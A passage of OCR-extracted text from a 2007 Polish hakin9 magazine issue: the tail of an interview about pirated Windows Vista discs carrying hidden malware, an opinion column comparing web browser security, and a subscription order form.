pewną ciekawostkę. W momencie, kiedy miała miejsce
premiera systemu Windows Vista i pakietu Microsoft Of-
fice 2007 (był to dzień 31 stycznia), a nawet dzień wcze-
śniej we wszystkich prawie mediach pojawiły się infor-
macje, że na stadionie 10-lecia taką Vistę można kupić
za bodajże 70 złotych. Poprosiłem o zakup takich wer-
sji stadionowych. Kilka sztuk udało się zakupić na sta-
dionie 10-lecia i na bazarze w Gdańsku. Wysłaliśmy te
płyty  do  laboratoriów  analitycznych  Microsoftu  w  Sta-
nach Zjednoczonych. Okazało się, że przynajmniej na
dwóch płytach z systemem Windows Vista znajdowały
się dodatkowe kody, które powodowały w sposób zupeł-
nie  niezauważalny  dla  użytkownika  otwieranie  portów
i  łączenie  się  z  jednym  z  serwerów  za  granicą.  Czym
to  grozi?  Czym  to  skutkuje?  Może  to  zagrozić  przeję-
ciem  danych  z  naszego  komputera  czy  wręcz  przeję-
ciem  kontroli  nad  nim.  Jakie  są  tego  efekty?  Mieliśmy
już np. kilka przypadków oczyszczenia kont bankowych.
Nawet dzisiaj czytałem o kolejnych tego typu przestęp-
czych przedsięwzięciach, czyli pozyskiwaniu numerów
kart bankowych, kodów PIN, haseł bankowych.

h9:

Dziękujemy za rozmowę.

KJ:

Dziękuję.

hakin9 Nr 8/2007

www.hakin9.org

Felieton

ak możemy się przekonać, od jakiegoś czasu temat
przeglądarek jest kwestią sporną na wielu forach,
kanałach irc bądź grupach dyskusyjnych. Najwię-

cej uwagi przykłada się zwłaszcza do bezpieczeństwa
tego typu aplikacji.

Jest powszechnie wiadome, i nikt tego nie ukrywa, że

to IE jest tutaj najsłabszym ogniwem. Już dlatego, że użyt-
kownicy muszą bardzo długo czekać na poprawki, ewen-
tualnie na nowe wersje. Od czasu, kiedy na rynek zaczę-
ły powoli wchodzić inne przeglądarki, producenci IE podję-
li z nimi swoisty wyścig zbrojeń. Niestety kłopoty korpora-
cji Microsoft na tym się nie zakończyły. Do dziś dnia pozo-
staje bowiem ciągle aktualna konieczność walki z hakera-
mi. To przez nich jest znajdywana i łatana większość dziur
w przeglądarkach, systemach czy też pojedyńczych pro-
gramach. Ile to już spotkać można było haseł ośmieszają-
cych IE? Zepsuj Windowsa za pomocą Internet Explorera
- hacking.pl, Publicznie dostępny kod wykorzystujący lukę

w IE, na którą nie ma łaty - Computerworld, Dziurawa prze-

glądarka gorsza od wirusa - Gazeta.pl i wiele, wiele innych.
Ludzie bardzo niechętnie podchodzą już teraz do przeglą-
darki windowsowej, a jeśli ktoś wypowie się na forum o IE
w przyjazny sposób, zostaje często wyśmiany. Jaka jest
więc cena bezpieczeństwa?

O wiele bezpieczniejszą przeglądarką jest Opera, do

której bardzo się przywiązałem. Oczywiście czytający
może powiedzieć: Zaraz, przecież to Firefox jest najlep-

szy. I tu właśnie jest pies pogrzebany. Nigdy nie znajdzie-
my przeglądarki idealnej. Ale teraz nie o tym. Opera to nie
tylko przeglądarka. Dzięki wbudowanemu klientowi poczty
i irc zastępuje dwa następne programy. Co jeszcze oferu-
je ona swoim użytkownikom? Opera jest przeglądarką nie-
wielkich rozmiarów, a posiada komplet funkcji potrzebnych
do wygodnego poruszania się w Internecie. Ważny jest też
czas oczekiwania na następne wersje bądź łaty. Między
wersją 9.10 a 9.20 nie minęło więcej niż 4 miesiące. Co za
tym idzie my, użytkownicy owego programu, mamy szero-
ki wybór i poczucie bezpieczeństwa. Głównym rywalem IE
jest Firefox. IE ciągle jest na topie za sprawą ludzi o małych
wymaganiach. Dla nich nie liczy się bezpieczeństwo. Myślą
tylko o tym, aby przeglądać strony. Nie dostrzegają piękna
w innych przeglądarkach, ponieważ albo nie mają pojęcia
o ich istnieniu, albo boją się zmian.

Przeglądarki – temat tabu

Firefox jest przeglądarką o lekkim interfejsie, ale potęż-

nych możliwościach. Ten lisek zdobył już wielu zwolenników
i ciągle przybywają nowi. Czemu program to zawdzięcza?
Standard to np. blokowanie pop-upów, czyli uciążliwych
reklam. Taką blokadę posiada już niemal każda przeglądar-
ka, co znacznie umila pracę w Sieci. Następnym ciekawym
dodatkiem jest ostrzeganie przed stronami podszywający-
mi się pod strony np. banku. Dzięki temu jesteśmy o wiele
mniej podatni na ataki typu phishing.

Przedstawię jeszcze jedną przeglądarkę, jaką jest

Konqueror. Jest to przeglądarka, jaka adresowana jest do
użytkowników Linuksa. Pierwotnie był to menedżer plików,
ale z czasem został on zamieniony w przeglądarkę inter-
netową. Jeżeli chodzi o unowocześnienia techniczne, nie
znajdziemy w nim niczego, zapierającego dech w piersiach.
Standardowa oprawa graficzna bazująca na KDE oraz pod-
stawowe opcje przeglądania. Ciekawe jest jednak to, że pro-
gram ów umożliwia przeglądanie plików pdf oraz odtwarza-
nie filmów. Nie ma tu potrzeby mówić tutaj o bezpieczeń-
stwie, bo to w końcu przeglądarka pod Linuksa, więc...

Jak napisałem wcześniej, kwestia wyboru odpo-

wiedniej  przeglądarki  jest  ciągle  tematem  spornym  i  to
bardzo. Wyobraźmy sobie, co działoby się, gdyby wszy-
scy korzystali z jednego IE albo jednego Firefoksa? Byłby
to monopol, jakich mało, a w dodatku nie występowałoby
tutaj, jakże piękne zróżnicowanie. Ponadto, dzięki silnej
konkurencji,  firmy  motywują  się  do  wydawania  nowych
wersji, ulepszania swoich produktów oraz wypuszczania
na rynek coraz to bezpieczniejszych przeglądarek. Użyt-
kownicy nie patrzą już tylko na bezpieczeństwo gwaran-
towane  im  przez  Microsoft  lub  inne  firmy.  Podstawową
cechą  przyciągającą  kolejne  zastępy  zwolenników  pro-
gramu jest także grafika, dodatki, widżety itp.

Oczywiście istnieje jeszcze wiele, wiele innych prze-

glądarek, które dopiero wchodzą na rynek i zapozna-
ją się z jego zasadami. Nie wszystkie jednak przetrwa-
ją, pozostaną tylko najsilniejsi. Jak wiemy, cztery wymie-
nione przeglądarki przewodzą w wyścigu po uznanie
odbiorców. Z sondaży wynika, że Firefox zaczyna stawać
się coraz bardziej popularny, ale czy nie stanie się z nim
tak samo jak z IE? Czy nie zejdzie na przysłowiowe psy?
Jaka przyszłość czeka przeglądarki? Na odpowiedzi na
te pytania, przyjdzie nam jeszcze poczekać.

Patryk Szlagowski patrykuss@haes-squad.net

Prosimy wypełnić czytelnie i przesłać faksem na numer:

(22) 887 10 11 lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,

Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne:

(22) 887 14 44

Imię i nazwisko............................................................................................ ID kontrahenta..........................................................................................

Nazwa firmy................................................................................................. Numer NIP firmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................

zamówienie prenumeraty

Cena prenumeraty rocznej dla osób prywatnych

Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+

Cena prenumeraty dwuletniej Aurox Linux

Jeżeli chcesz zapłacić kartą kredytową, wejdź na

stronę naszego sklepu internetowego:

www.buyitpress.com

automatyczne przedłużenie prenumeraty

Suma

Tytuł

Ilość

numerów

Ilość

zamawianych

prenumerat

Od numeru

pisma lub

miesiąca

Opłata

w zł

z VAT

Software Developer’s Journal (1 płyta CD)

– dawniej Software 2.0

Miesięcznik profesjonalnych programistów

250/180

SDJ Extra

(od 1 do 4 płyt CD lub DVD)

– dawniej Software 2.0 Extra!

Numery tematyczne dla programistów

150/135

Linux+DVD (2 płyty DVD)

Miesięcznik o systemie Linux

199/179

Linux+Extra! (od 1 do 7 płyt CD lub DVD)

Numery specjalne z najpopularniejszymi dystrybucjami Linuksa

232/198

PHP Solutions (1 płyta CD)

Dwumiesięcznik o zastosowaniach języka PHP

135

hakin9, jak się obronić (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

199

/219

.psd (2 płyty CD)

Dwumiesięcznik użytkowników programu Adobe Photoshop

140

.psd numery specjalne

(.psd Extra + .psd Starter Kit)

140